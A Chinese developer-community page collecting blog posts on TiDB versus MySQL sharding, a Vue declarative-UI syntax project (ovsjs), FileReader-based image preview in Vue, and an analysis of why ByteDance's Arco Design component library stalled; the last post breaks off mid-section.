注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

分库分表正在被淘汰

web
前言 “分库分表这种架构模式会逐步的被淘汰!” 不知道在哪儿看到的观点 如果我们现在在搭建新的业务架构,如果说你们未来的业务数据量会达到千万 或者上亿的级别 还在一股脑的使用分库分表的架构,那么你们的技术负责人真的就应该提前退休了🙈 如果对未来的业务非常有...
继续阅读 »

前言



“分库分表这种架构模式会逐步的被淘汰!” 不知道在哪儿看到的观点



如果我们现在在搭建新的业务架构,如果说你们未来的业务数据量会达到千万 或者上亿的级别 还在一股脑的使用分库分表的架构,那么你们的技术负责人真的就应该提前退休了🙈


如果对未来的业务非常有信心,单表的数据量能达到千万上亿的级别,请使用NewSQL 数据库,那么NewSQL 这么牛,分布库分表还有意义吗?



今天虽然写的是一篇博客,但是更多的是抱着和大家讨论的心态来的,所以大家目前有深度参与分库分表,或者NewSQL 的都可以在评论区讨论!



什么是NewSQL


NewSQL 是21世纪10年代初出现的一个术语,用来描述一类新型的关系型数据库管理系统(RDBMS)。它们的共同目标是:在保持传统关系型数据库(如Oracle、MySQL)的ACID事务和SQL模型优势的同时,获得与NoSQL系统类似的、弹性的水平扩展能力


NewSQL 的核心理念就是 将“分库分表”的复杂性从应用层下沉到数据库内核层,对上层应用呈现为一个单一的数据库入口,解决现在 分库分表的问题;


分库分表的问题


分库分表之后,会带来非常多的问题;比如需要跨库联查、跨库更新数据如何保证事务一致性等问题,下面就来详细看看分库分表都有那些问题



  1. 数据库的操作变得复杂



    • 跨库 JOIN 几乎不可行:原本简单的多表关联查询,因为表被分散到不同库甚至不同机器上,变得异常困难。通常需要拆成多次查询,在应用层进行数据组装,代码复杂且性能低下。

    • 聚合查询效率低下COUNT()SUM()GR0UP BYORDER BY 等操作无法在数据库层面直接完成。需要在每个分片上执行,然后再进行合并。

    • 分页问题LIMIT 20, 10 这样的分页查询会变得非常诡异。你需要从所有分片中获取前30条数据,然后在应用层排序后取第20-30条。页码越大,性能越差。



  2. 设计上需要注意的问题



    • 分片键(Sharding Key)的选择:如果前期没有设计好,后期数据倾斜比较严重

    • 全局唯一ID需要提前统一设计,规范下来

    • 分布式事务问题,需要考虑使用哪种方式去实现(XA协议,柔性事务)




选择TiDB还是采用mysql 分库分表的设计


数据量非常大,需要满足OLTP (Online Transactional Processing)OLAP (Online Analytical Processing)HTAP预算充足(分布式数据库的成本也是非常高的这一点非常的重要),并且是新业务新架构落地 优先推荐使用TiDB
当然实际上选择肯定是需要多方面考虑的,大家有什么观点都可以在评论区讨论。


可以看看一个资深开发,深度参与TiDB项目,他对TiDB的一些看法:


3150c08d-9372-41aa-9cf4-7aafbea0c149.png


efe93ca3-12ef-47fe-aab4-16e191894a01.png


f3e3a4a7-c0f1-47bf-b524-e9863458cff0.png


1 什么是TiDB?


TiDB是PingCAP公司研发的开源分布式关系型数据库,采用存储计算分离架构,支持混合事务分析处理(HTAP) 。它与MySQL 5.7协议兼容,并支持MySQL生态,这意味着使用MySQL的应用程序可以几乎无需修改代码就能迁移到TiDB。


🚀目标是为用户提供一站式 OLTP (Online Transactional Processing)、OLAP (Online Analytical Processing)、HTAP 解决方案。TiDB 适合高可用、强一致要求较高、数据规模较大等各种应用场景。



官方文档:docs.pingcap.com/zh/tidb/dev…



TiDB五大核心特性


TiDB之所以在分布式数据库领域脱颖而出,得益于其五大核心特性



  • 一键水平扩容或缩容:得益于存储计算分离的架构设计,可按需对计算、存储分别进行在线扩容或缩容,整个过程对应用透明。

  • 金融级高可用:数据采用多副本存储,通过Multi-Raft协议同步事务日志,只有多数派写入成功事务才能提交,确保数据强一致性。

  • 实时HTAP:提供行存储引擎TiKV和列存储引擎TiFlash,两者之间的数据保持强一致,解决了HTAP资源隔离问题。

  • 云原生分布式数据库:通过TiDB Operator可在公有云、私有云、混合云中实现部署工具化、自动化。

  • 兼容MySQL 5.7协议和生态:从MySQL迁移到TiDB无需或只需少量代码修改,极大降低了迁移成本。


2 TiDB与MySQL的核心差异


虽然TiDB兼容MySQL协议,但它们在架构设计和适用场景上存在根本差异。以下是它们的详细对比:


2.1 架构差异


表1:TiDB与MySQL架构对比


特性MySQLTiDB
架构模式集中式架构分布式架构
扩展性垂直扩展,主从复制水平扩展,存储计算分离
数据分片需要分库分表自动分片,无需sharding key
高可用机制主从复制、MGRMulti-Raft协议,多副本
存储引擎InnoDB、MyISAM等TiKV(行存)、TiFlash(列存)

2.2 性能表现对比


性能方面,TiDB与MySQL各有优势,主要取决于数据量和查询类型:



  • 小数据量简单查询:在数据量百万级以下的情况下,MySQL的写入性能和点查点写通常优于TiDB。因为TiDB的分布式架构在少量数据时无法充分发挥优势,却要承担分布式事务的开销。

  • 大数据量复杂查询:当数据量达到千万级以上,TiDB的性能优势开始显现。一张千万级别表关联查询,MySQL可能需要20秒,而TiDB+TiKV只需约5.57秒,使用TiFlash甚至可缩短到0.5秒。

  • 高并发场景:MySQL性能随着并发增加会达到瓶颈然后下降,而TiDB性能基本随并发增加呈线性提升,节点资源不足时还可通过动态扩容提升性能。


2.3 扩展性与高可用对比


MySQL的主要扩展方式是一主多从架构,主节点无法横向扩展(除非接受分库分表),从节点扩容需要应用支持读写分离。而TiDB的存储和计算节点都可以独立扩容,支持最大512节点,集群容量可达PB级别。


高可用方面,MySQL使用增强半同步和MGR方案,但复制效率较低,主节点故障会影响业务处理[]。TiDB则通过Raft协议将数据打散分布,单机故障对集群影响小,能保证RTO(恢复时间目标)不超过30秒且RPO(恢复点目标)为0,真正实现金融级高可用。


2.4 SQL功能及兼容性


虽然TiDB高度兼容MySQL 5.7协议和生态,但仍有一些重要差异需要注意:


不支持的功能包括:



  • 存储过程与函数

  • 触发器

  • 事件

  • 自定义函数

  • 全文索引(计划中)

  • 空间类型函数和索引


有差异的功能包括:



  • 自增ID的行为(TiDB推荐使用AUTO_RANDOM避免热点问题)

  • 查询计划的解释结果

  • 在线DDL能力(TiDB更强,不锁表支持DML并行操作)


3 如何选择:TiDB还是MySQL?


选择数据库时,应基于实际业务需求和技术要求做出决策。以下是具体的选型建议:


3.1 选择TiDB的场景


TiDB在以下场景中表现卓越:



  1. 数据量大且增长迅速的OLTP场景:当单机MySQL容量或性能遇到瓶颈,且数据量达到TB级别时,TiDB的水平扩展能力能有效解决问题。

    例如,当业务数据量预计将超过TB级别,或并发连接数超过MySQL合理处理范围时。

  2. 实时HTAP需求:需要同时进行在线事务处理和实时数据分析的场景。

    传统方案需要OLTP数据库+OLAP数据库+ETL工具,TiDB的HTAP能力可简化架构,降低成本和维护复杂度。

  3. 金融级高可用要求:对系统可用性和数据一致性要求极高的金融行业场景。

    TiDB的多副本和自动故障转移机制能确保业务连续性和数据安全。

  4. 多业务融合平台:需要将多个业务数据库整合的统一平台场景。

    TiDB的资源管控能力可以按照RU(Request Unit)大小控制资源总量,实现多业务资源隔离和错峰利用。

  5. 频繁的DDL操作需求:需要频繁进行表结构变更的业务。

    TiDB的在线DDL能力在业务高峰期也能平稳执行,对大表结构变更尤其有效。


3.2 选择MySQL的场景


MySQL在以下情况下仍是更合适的选择:



  1. 中小规模数据量:数据量在百万级以下,且未来增长可预测。

    在这种情况下,MySQL的性能可能更优,且总拥有成本更低。

  2. 简单读写操作为主:业务以点查点写为主,没有复杂的联表查询或分析需求。

  3. 需要特定MySQL功能:业务依赖存储过程、触发器、全文索引等TiDB不支持的功能。

  4. 资源受限环境:硬件资源有限且没有分布式数据库管理经验的团队。

    MySQL的运维管理相对简单,学习曲线较平缓。


3.3 决策参考框架


为了更直观地帮助决策,可以参考以下决策表:


考虑因素倾向TiDB倾向MySQL
数据规模TB级别或预计快速增长GB级别,增长稳定
并发需求高并发(数千连接以上)低至中等并发
查询类型复杂SQL,多表关联简单点查点写
可用性要求金融级(RTO<30s,RPO=0)常规可用性要求
架构演进微服务、云原生、HTAP传统单体应用
运维能力有分布式系统管理经验传统DBA团队

4 迁移注意事项


如果决定从MySQL迁移到TiDB,需要注意以下关键点:



  1. 功能兼容性验证:检查应用中是否使用了TiDB不支持的MySQL功能,如存储过程、触发器等。

  2. 自增ID处理:将AUTO_INCREMENT改为AUTO_RANDOM以避免写热点问题。

  3. 事务大小控制:注意TiDB对单个事务的大小限制(早期版本限制较严,4.0版本已提升到10GB)。

  4. 迁移工具选择:使用TiDB官方工具如DM(Data Migration)进行数据迁移和同步。

  5. 性能测试:迁移前务必进行充分的性能测试,特别是针对业务关键查询的测试。


5 总结


TiDB和MySQL是适用于不同场景的数据库解决方案,没有绝对的优劣之分。MySQL是优秀的单机数据库,适用于数据量小、架构简单的场景;数据量大了之后需要做分库分表。而TiDB作为分布式数据库,专注于解决大数据量、高并发、高可用性需求下的数据库瓶颈问题,但是成本也是非常的高



本人没有使用过NewSQL ,还望各位大佬批评指正



作者:提前退休的java猿
来源:juejin.cn/post/7561245020045918249
收起阅读 »

vue也支持声明式UI了,向移动端kotlin,swift看齐,抛弃html,pug升级版,进来看看新语法吧

web
众所周知,新生代的ui框架(如:kotlin,swift,flutter,鸿蒙)都已经抛弃了XML这类的结构化数据标记语言改为使用声明式UI 只有web端还没有支持此类ui语法,此次我开发的ovsjs为前端也带来了此类声明式UI语法的支持,语法如下 项目地址 ...
继续阅读 »

众所周知,新生代的ui框架(如:kotlin,swift,flutter,鸿蒙)都已经抛弃了XML这类的结构化数据标记语言改为使用声明式UI


只有web端还没有支持此类ui语法,此次我开发的ovsjs为前端也带来了此类声明式UI语法的支持,语法如下


项目地址


github.com/alamhubb/ov…


语法插件地址:


marketplace.visualstudio.com/items?itemN…


新语法如下:


image.png


我认为更强的地方是我的新设计除了为前端带来了声明式UI,还支持了 #{ } 不渲染代码块的设计,支持在 声明式UI中编写代码,这样UI和逻辑之间的距离更近,维护更方便,抽象组件也更容易


对比kotlin,swift,flutter,鸿蒙语法如下:


kotlin的语法


import kotlinx.browser.*
import kotlinx.html.*
import kotlinx.html.dom.*

fun main() {
document.body!!.append.div {
h1 {
+"Welcome to Kotlin/JS!"
}
p {
+"Fancy joining this year's "
a("https://kotlinconf.com/") {
+"KotlinConf"
}
+"?"
}
}
}

swiftUI的语法


import SwiftUI

struct ContentView: View {
var body: some View {
VStack(spacing: 16) {
Text("Hello SwiftUI")
.font(.largeTitle)
.fontWeight(.bold)

Text("Welcome to SwiftUI world")

Button("Click Me") {
print("Button clicked")
}
}
.padding()
}
}

flutter的语法


class MyApp extends StatelessWidget {
const MyApp({super.key});

@override
Widget build(BuildContext context) {
return MaterialApp(
home: Scaffold(
body: Center(
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
const Text(
"Hello Flutter",
style: TextStyle(fontSize: 28, fontWeight: FontWeight.bold),
),
const SizedBox(height: 12),
const Text("Welcome to Flutter world"),
const SizedBox(height: 16),
ElevatedButton(
onPressed: () {
print("Button clicked");
},
child: const Text("Click Me"),
)
],
),
),
),
);
}
}

鸿蒙 arkts


@Entry
@Component
struct Index {
@State message: string = 'Hello ArkUI'

build() {
Column() {
Text(this.message)
.fontSize(28)
.fontWeight(FontWeight.Bold)

Text('Welcome to HarmonyOS')
.margin({ top: 12 })

Button('Click Me')
.margin({ top: 16 })
.onClick(() => {
console.log('Button clicked')
})
}
.padding(20)
}
}

原理实现


简述一下实现原理,就是通过parser支持了新语法,然后将新语法转义为 iife包裹的vue的h函数


为什么要iife包裹


因为要支持不渲染代码块


ovs图中的代码对应的编译后的代码是这样的


import {defineOvsComponent} from "/@fs/D:/project/qkyproject/test-volar/ovs/ovs-runtime/src/index.ts";
import {$OvsHtmlTag} from "/@fs/D:/project/qkyproject/test-volar/ovs/ovs-runtime/src/index.ts";
import {ref} from "/node_modules/.vite/deps/vue.js?v=76ca4127";
export default defineOvsComponent(props => {
const msg = "You did it!";
let count = ref(0);
const timer = setInterval(() => {
count.value = count.value + 1;
},1000);
return $OvsHtmlTag.div({class:'greetings',onClick(){
count.value = 0;
}},[
$OvsHtmlTag.h1({class:'green'},[msg]),
count,
$OvsHtmlTag.h3({},[
"You've successfully created a project with ",
$OvsHtmlTag.a({href:'https://vite.dev/',target:'_blank',rel:'noopener'},['Vite']),
' + ',
$OvsHtmlTag.a({href:'https://vuejs.org/',target:'_blank',rel:'noopener'},['Vue 3']),
' + ',
$OvsHtmlTag.a({href:'https://github.com/alamhubb/ovsjs',target:'_blank',rel:'noopener'},['OVS']),
'.'
])
]);
});

parser是我自己写的,抄了 chevortain 的设计,写了个subhuti,支持定义peg语法


github.com/alamhubb/ov…


slimeparser,支持es2025语法的parser,基于subhuti,声明es2025语法就行


github.com/alamhubb/ov…


然后就是ovs继承slimeparser,添加了ovs的语法支持,并且在ast生成的时候将代码转为vue的渲染函数,运行时就是运行的vue的渲染函数的代码,所以完美支持vue的生态


感兴趣的可以试试,入门教程


github.com/alamhubb/ov…


由于本人能力有先,文中存在错误不足之处,请大家指正,有对新语法感兴趣的欢迎留言和我交流


作者:alamhubb
来源:juejin.cn/post/7580287383788585003
收起阅读 »

让用户愿意等待的秘密:实时图片预览

web
你有没有经历过这样的场景?点击“上传头像”,选了一张照片,页面却毫无反应——没有提示,没有图像,只有一个静默的按钮。你开始怀疑:是没选上?网速慢?还是系统出错了?于是你犹豫要不要再点一次,甚至直接关掉页面。 而如果在你选择文件的瞬间,一张清晰的缩略图立刻出现在...
继续阅读 »

你有没有经历过这样的场景?点击“上传头像”,选了一张照片,页面却毫无反应——没有提示,没有图像,只有一个静默的按钮。你开始怀疑:是没选上?网速慢?还是系统出错了?于是你犹豫要不要再点一次,甚至直接关掉页面。

而如果在你选择文件的瞬间,一张清晰的缩略图立刻出现在眼前,哪怕后端还在处理,你也会安心地等待下去。

不是用户没耐心,而是他们需要一点“确定性”来支撑等待的理由。

图片预览,正是那个微小却关键的信号:你的操作已被接收,一切正在按预期进行。


得到程序正在运行的信号之后用户才会有等待的欲望。


今天,我们就来亲手实现一个图片预览功能。
先思考:要让一张用户选中的本地图片显示在网页上,我们到底需要做些什么?




第一步:我们要显示图片,那肯定得有个 <img> 标签吧?


没错。想在页面上看到图片,最直接的方式就是用 <img :src="xxx" />。但问题来了:用户刚从电脑里选了一张照片,这张照片还在他本地硬盘上,还没传到服务器,也没有公开 URL。那 src 该填什么?


这时候你可能会想:“能不能把这张本地文件直接塞进 src?”

答案是:不能直接塞 File 对象,但——我们可以把它“变成”一个 URL。




第二步:用户选了图,我们怎么拿到它?


通常我们会用 <input type="file" accept="image/*"> 让用户选择图片。在 Vue 中,为了能“拿到”这个 input 元素本身(而不仅仅是它的值),我们会用到 ref


<input 
type="file"
ref="uploadImage"
accept="image/*"
@change="updateImageData"
/>

这里,ref="uploadImage" 就像给这个 input 贴了个标签。之后在 script 里,我们就能通过 uploadImage.value 拿到它的真实 DOM 引用。


于是,在 updateImageData 函数里,我们可以这样取到用户选中的文件:


const input = uploadImage.value;
const file = input.files[0]; // 用户选的第一张图

注意:不是 input.file,而是 input.files —— 这是一个常见的笔误,也是很多初学者卡住的地方。




第三步:有了 File 对象,怎么变成 <img> 能识别的 src


现在我们手里有一个 File 对象,但它不能直接赋给 img.src。我们需要把它转成一种浏览器能直接渲染的格式。


这时候,FileReader 就登场了。


const reader = new FileReader();
reader.readAsDataURL(file);

readAsDataURL 会把文件内容读取为一个 Data URL,格式类似:


data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...

这串字符串可以直接作为 <img>src!是不是很巧妙?


那什么时候能拿到这个结果呢?FileReader 是异步的,所以我们监听它的 onloadend 事件:


reader.onloadend = (e) => {
imgPreview.value = e.target.result; // 这就是 Data URL
}

而我们的模板中早已准备好了一个 <img>


<img :src="imgPreview" alt="" v-if="imgPreview" />

imgPreview 有值时,图片就自动显示出来了!




完整逻辑串起来


把这些碎片拼在一起,整个流程就清晰了:



  1. 用户点击 input 选择图片;

  2. @change 触发 updateImageData

  3. 通过 ref 拿到 input,取出 files[0]

  4. FileReader 读取为 Data URL;

  5. 把结果存到响应式变量 imgPreview

  6. Vue 自动更新 <img :src="imgPreview">,图片就出来了。


这整个过程完全在前端完成,不需要上传到服务器,也不依赖任何第三方库——只用了浏览器原生 API 和 Vue 的响应式系统。




最后:完整实例


在vue中实现图片预览的完整代码及效果



作者:烟袅破辰
来源:juejin.cn/post/7585534343562608690
收起阅读 »

Arco Design 停摆!字节跳动 UI 库凉了?

web
1. 引言:设计系统的“寒武纪大爆发”与 Arco 的陨落 在 2019 年至 2021 年间,中国前端开发领域经历了一场前所未有的“设计系统”爆发期。伴随着企业级 SaaS 市场的崛起和中后台业务的复杂度攀升,各大互联网巨头纷纷推出了自研的 UI 组件库。这...
继续阅读 »

1. 引言:设计系统的“寒武纪大爆发”与 Arco 的陨落


在 2019 年至 2021 年间,中国前端开发领域经历了一场前所未有的“设计系统”爆发期。伴随着企业级 SaaS 市场的崛起和中后台业务的复杂度攀升,各大互联网巨头纷纷推出了自研的 UI 组件库。这不仅是技术实力的展示,更是企业工程化标准的话语权争夺。在这一背景下,字节跳动推出了 Arco Design,这是一套旨在挑战 Ant Design 霸主地位的“双栈”(React & Vue)企业级设计系统。


Arco Design 在发布之初,凭借其现代化的视觉语言、对 TypeScript 的原生支持以及极具创新性的“Design Lab”设计令牌(Design Token)管理系统,迅速吸引了大量开发者的关注。它被定位为不仅仅是一个组件库,而是一套涵盖设计、开发、工具链的完整解决方案。然而,就在其社区声量达到顶峰后的短短两年内,这一曾被视为“下一代标准”的项目却陷入了令人费解的沉寂。


截至 2025 年末,GitHub 上的 Issue 堆积如山,关键的基础设施服务(如 IconBox 图标平台)频繁宕机,官方团队的维护活动几乎归零。对于数以万计采用了 Arco Design 的企业和独立开发者而言,这无疑是一场技术选型的灾难。


本文将深入剖析 Arco Design 从辉煌到停摆的全过程。我们将剥开代码的表层,深入字节跳动的组织架构变革、内部团队的博弈(赛马机制)、以及中国互联网大厂特有的“KPI 开源”文化,为您还原整件事情的全貌。


2. 溯源:Arco Design 的诞生背景与技术野心


要理解 Arco Design 为何走向衰败,首先必须理解它诞生时的宏大野心及其背后的组织推手。Arco 并不仅仅是一个简单的 UI 库,它是字节跳动为了解决特定业务线极其复杂的后台需求而孵化的产物。


1.png


2.1 “务实的浪漫主义”:差异化的产品定位


Arco Design 在推出时,鲜明地提出了“务实的浪漫主义”这一设计哲学。这一口号的提出,实际上是为了在市场上与阿里巴巴的 Ant Design 进行差异化竞争。



  • Ant Design 的困境:作为行业标准,Ant Design 以“确定性”著称,其风格克制、理性,甚至略显单调。虽然极其适合金融和后台管理系统,但在需要更强品牌表达力和 C 端体验感的场景下显得力不从心。

  • Arco 的切入点:字节跳动的产品基因(如抖音、TikTok)强调视觉冲击力和用户体验的流畅性。Arco 试图在中后台系统中注入这种基因,主张在解决业务问题(务实)的同时,允许设计师发挥更多的想象力(浪漫)。


这种定位在技术层面体现为对 主题定制(Theming) 的极致追求。Arco Design 并没有像传统库那样仅仅提供几个 Less 变量,而是构建了一个庞大的“Design Lab”平台,允许用户在网页端通过可视化界面细粒度地调整成千上万个 Design Token,并一键生成代码。这种“设计即代码”的早期尝试,是 Arco 最核心的竞争力之一。


2.2 组织架构:GIP UED 与架构前端的联姻


Arco Design 的官方介绍中明确指出,该系统是由 字节跳动 GIP UED 团队架构前端团队(Infrastructure FrontEnd Team) 联合推出的。这一血统注定了它的命运与“GIP”这个业务单元的兴衰紧密绑定。


2.2.1 解密 GIP:通用信息平台 (General Information Platform)


GIP 全称为 General Information Platform(通用信息平台)。这是字节跳动早期的核心业务支柱,主要包含以下以“图文与中长视频”为核心的信息分发产品:



  • 今日头条:字节跳动的起家之作,智能推荐资讯平台。

  • 西瓜视频:中长视频平台。

  • 番茄小说:免费网文阅读平台。


2.2.2 业务对技术的反哺与制约


GIP 的业务特点是高信息密度。今日头条的内容审核后台、广告投放系统(早期巨量引擎)、创作者管理平台(头条号后台)都需要处理海量的文本数据和复杂的表格操作。因此,Arco Design 从诞生起就带有浓重的“B 端中后台”基因,强调紧凑、理性和高效率,这正是为了服务于 GIP 庞大的内部系统需求。


在 2019-2020 年,GIP 仍是公司的绝对核心与营收主力。Arco Design 的推出,实际上是字节跳动“长子”(头条系)试图确立公司内部技术标准的一次有力尝试。


2.3 黄金时代的技术堆栈


在 2021 年左右,Arco Design 的技术选型是极具前瞻性的,这也是它能迅速获得 5.5k Star 的原因之一:



  • 全链路 TypeScript:所有组件均采用 TypeScript 编写,提供了优秀的类型推导体验,解决了当时 Ant Design v4 在某些复杂场景下类型定义不友好的痛点。

  • 双框架并进:@arco-design/web-react 和 @arco-design/web-vue 保持了高度统一的 API 设计和视觉风格。这对于那些技术栈不统一的大型公司极具吸引力,意味着设计规范可以跨框架复用。

  • 生态闭环:除了组件库,Arco 还发布了 arco-cli(脚手架)、Arco Pro(中后台模板)、IconBox(图标管理平台)以及 Material Market(物料市场)。这表明团队不仅是在做一个库,而是在构建一个类似 Salesforce Lightning 或 SAP Fiori 的企业级生态。


然而,正是这种庞大的生态铺设,为日后的维护埋下了巨大的隐患。当背后的组织架构发生震荡时,维持如此庞大的产品矩阵所需的资源将变得不可持续。


3. 停摆的证据:基于数据与现象的法医式分析


尽管字节跳动从未发布过一份正式的“Arco Design 停止维护声明”,但通过对代码仓库、社区反馈以及基础设施状态的深入分析,我们可以断定该项目已进入实质性的“脑死亡”状态。


3.1 代码仓库的“心跳停止”


对 GitHub 仓库 arco-design/arco-design (React) 和 arco-design/arco-design-vue (Vue) 的提交记录分析显示,活跃度在 2023 年底至 2024 年初出现了断崖式下跌。


3.png


3.1.1 提交频率分析


虽然 React 版本的最新 Release 版本号为 2.66.8(截至文章撰写时),但这更多是惯性维护。



  • 核心贡献者的离场:早期的高频贡献者(如 sHow8e、jadelike-wine 等)在 2024 年后的活跃度显著降低。许多提交变成了依赖项升级(Dependabot)或极其微小的文档修复,缺乏实质性的功能迭代。

  • Vue 版本的停滞:Vue 版本的状态更为糟糕。最近的提交多集中在构建工具迁移(如迁移到 pnpm)或很久以前的 Bug 修复。核心组件的 Feature Request 长期无人响应。


3.1.2 积重难返的 Issue 列表


Issue 面板是衡量开源项目生命力的体温计。目前,Arco Design 仓库中积累了超过 330 个 Open Issue。



  • 严重的 Bug 无人修复:例如 Issue #3091 “tree-select 组件在虚拟列表状态下搜索无法选中最后一个” 和 Issue #3089 “table 组件的 default-expand-all-rows 属性设置不生效”。这些都是影响生产环境使用的核心组件 Bug,却长期处于 Open 状态。

  • 社区的绝望呐喊:Issue #3090 直接以 “又一个没人维护的 UI 库” 为题,表达了社区用户的愤怒与失望。更有用户在 Discussion 中直言 “这个是不是 KPI 项目啊,现在维护更新好像都越来越少了”。这种负面情绪的蔓延,通常是一个项目走向终结的社会学信号。


3.2 基础设施的崩塌:IconBox 事件


如果说代码更新变慢还可以解释为“功能稳定”,那么基础设施的故障则是项目被放弃的直接证据。



  • IconBox 无法发布:Issue #3092 指出 “IconBox 无法发布包了”。IconBox 是 Arco 生态中用于管理和分发自定义图标的 SaaS 服务。这类服务需要后端服务器、数据库以及运维支持。

  • 含义解读:当一个大厂开源项目的配套 SaaS 服务出现故障且无人修复时,这不仅仅是开发人员没时间的问题,而是意味着服务器的预算可能已经被切断,或者负责运维该服务的团队(GIP 相关的基建团队)已经被解散。这是项目“断供”的最强物理证据。


3.3 文档站点的维护降级


Arco Design 的文档站点虽然目前仍可访问,但其内容更新已经明显滞后。例如,关于 React 18/19 的并发特性支持、最新的 SSR 实践指南等现代前端话题,在文档中鲜有提及。与竞争对手 Ant Design 紧跟 React 官方版本发布的节奏相比,Arco 的文档显得停留在 2022 年的时光胶囊中。


4. 深层归因:组织架构变革下的牺牲品


Arco Design 的陨落,本质上不是技术失败,而是组织架构变革的牺牲品。要理解这一点,我们需要将视线从 GitHub 移向字节跳动的办公大楼,审视这家巨头在过去三年中发生的剧烈动荡。


2.png


4.1 战略重心的转移:从“头条”到“抖音”


2021 年底至 2024 年,字节跳动进行了多次大规模的组织架构调整。其中最关键的变化是战略重心从图文资讯(今日头条)全面转向短视频与直播(抖音/TikTok)以及后来的 AI 大模型。



  • GIP 的边缘化:随着移动互联网进入存量时代,今日头条和西瓜视频的用户增长见顶,战略地位从“增长引擎”退化为“现金牛”甚至“存量维持”业务。

  • 资源的抽离:GIP UED 和相关前端团队面临缩编或重组。维护 Arco Design 这样一套庞大的开源系统需要持续的人力投入。当母体部门本身都在进行“去肥增瘦”时,一个无法直接带来商业增量的开源 KPI 项目,自然成为了裁员的首选目标。


4.2 内部赛马机制:Arco Design vs. Semi Design


字节跳动素以“APP 工厂”和“内部赛马”文化著称。这种文化不仅存在于 C 端产品中,也渗透到了技术基建领域。Arco Design 的停摆,很大程度上是因为它在与内部竞争对手 Semi Design 的博弈中败下阵来。


4.2.1 Semi Design 的崛起


Semi Design 是由 抖音前端团队MED 产品设计团队 联合推出的设计系统。



  • 出身显赫:与 GIP 不同,Semi Design 背靠的是字节跳动的绝对核心——抖音。抖音前端团队拥有极其充裕的资源和稳固的业务地位。

  • 技术路线之争:Semi Design 在架构上更为先进,采用了 Foundation/Adapter 模式,实现了逻辑与渲染分离,能以更低的成本适配不同框架。同时,Semi 深度集成了 D2C(Design-to-Code)工具链,更符合公司对 AI 和人效的追求。


4.2.2 为什么 Arco 输了?


在资源整合期,公司高层显然不需要维护两套功能高度重叠的企业级 UI 库。



  • 业务绑定:Semi Design 宣称服务了内部 10 万+ 用户和近千个平台产品,深度嵌入在抖音的内容生产与运营流中。

  • 结局:随着 GIP 业务权重的下降和团队的调整,Arco Design 失去了维护的资源,而 Semi Design 成为了事实上的内部标准。


4.3 中国大厂的“KPI 开源”陷阱


Arco Design 的命运也折射出中国互联网大厂普遍存在的“KPI 开源”现象。



  • 晋升阶梯:在阿里的 P7/P8 或字节的 2-2/3-1 晋升答辩中,主导一个“行业领先”的开源项目是极具说服力的业绩。因此,很多工程师或团队 Leader 会发起此类项目,投入巨大资源进行推广(刷 Star、做精美官网)。

  • 晋升后的遗弃:一旦发起人成功晋升、转岗或离职,该项目的“剩余价值”就被榨干了。接手的新人往往不愿意维护“前人的功劳簿”,更愿意另起炉灶做一个新的项目来证明自己。

  • Arco 的轨迹:Arco 的高调发布(2021年)恰逢互联网泡沫顶峰。随着 2022-2024 年行业进入寒冬,晋升通道收窄,维护开源项目的 ROI(投入产出比)变得极低,导致项目被遗弃。


5. 社区自救的幻象:为何没有强有力的 Fork?


面对官方的停摆,用户自然会问:既然代码是开源的(MIT 协议),为什么没有人 Fork 出来继续维护?调查显示,虽然存在一些零星的 Fork,但并未形成气候。


5.png


5.1 Fork 的现状调查


通过对 GitHub 和 Gitee 的检索,我们发现了一些 Fork 版本,但并未找到具备生产力的社区继任者。



  • vrx-arco:这是一个名为 vrx-arco/arco-design-pro 的仓库,声称是 "aro-design-vue 的部分功能扩展"。然而,这更像是一个补丁集,而不是一个完整的 Fork。它主要解决特定开发者的个人需求,缺乏长期维护的路线图。

  • imoty_studio/arco-design-designer:这是一个基于 Arco 的表单设计器,并非组件库本身的 Fork。

  • 被动 Fork:GitHub 显示 Arco Design 有 713 个 Fork。经抽样检查,绝大多数是开发者为了阅读源码或修复单一 Bug 而进行的“快照式 Fork”,并没有持续的代码提交。


5.2 为什么难以 Fork?


维护一个像 Arco Design 这样的大型组件库,其门槛远超普通开发者的想象。



  1. Monorepo 构建复杂度:Arco 采用了 Lerna + pnpm 的 Monorepo 架构,包含 React 库、Vue 库、CLI 工具、图标库等多个 Package。其构建脚本极其复杂,往往依赖于字节内部的某些环境配置或私有源。外部开发者即使拉下来代码,要跑通完整的 Build、Test、Doc 生成流程都非常困难。

  2. 生态维护成本:Arco 的核心优势在于 Design Lab 和 IconBox 等配套 SaaS 服务。Fork 代码容易,但 Fork 整个后端服务是不可能的。失去了 Design Lab 的 Arco,就像失去了灵魂的空壳,吸引力大减。

  3. 技术栈锁定:Arco 的一些底层实现可能为了适配字节内部的微前端框架或构建工具(如 Modern.js)做了特定优化,这增加了通用化的难度。


因此,社区更倾向于迁移,而不是接盘


6. 用户生存指南:现状评估与迁移策略


对于目前仍在使用 Arco Design 的团队,局势十分严峻。随着 React 19 的临近和 Vue 3 生态的演进,Arco 将面临越来越多的兼容性问题。


6.1 风险评估表


风险维度风险等级具体表现
安全性🔴 高危依赖的第三方包(如 lodash, async-validator 等)若爆出漏洞,Arco 不会发版修复,需用户手动通过 resolutions 强行覆盖。
框架兼容性🔴 高危React 19 可能会废弃某些 Arco 内部使用的旧生命周期或模式;Vue 3.5+ 的新特性无法享受。
浏览器兼容性🟠 中等新版 Chrome/Safari 的样式渲染变更可能导致 UI 错位,无人修复。
基础设施⚫ 已崩溃IconBox 无法上传新图标,Design Lab 可能随时下线,导致主题无法更新。

6.png


6.2 迁移路径推荐


方案 A:迁移至 Semi Design(推荐指数:⭐⭐⭐⭐)


如果你是因为喜欢字节系的设计风格而选择 Arco,那么 Semi Design 是最自然的替代者。



  • 优势:同为字节出品,设计语言的命名规范和逻辑有相似之处。Semi 目前维护活跃,背靠抖音,拥有强大的 D2C 工具链。

  • 劣势:API 并非 100% 兼容,仍需重构大量代码。且 Semi 主要是 React 优先,Vue 生态支持相对较弱(主要靠社区适配)。


7.png


方案 B:迁移至 Ant Design v5/v6(推荐指数:⭐⭐⭐⭐⭐)


如果你追求极致的稳定和长期的维护保障,Ant Design 是不二之选。



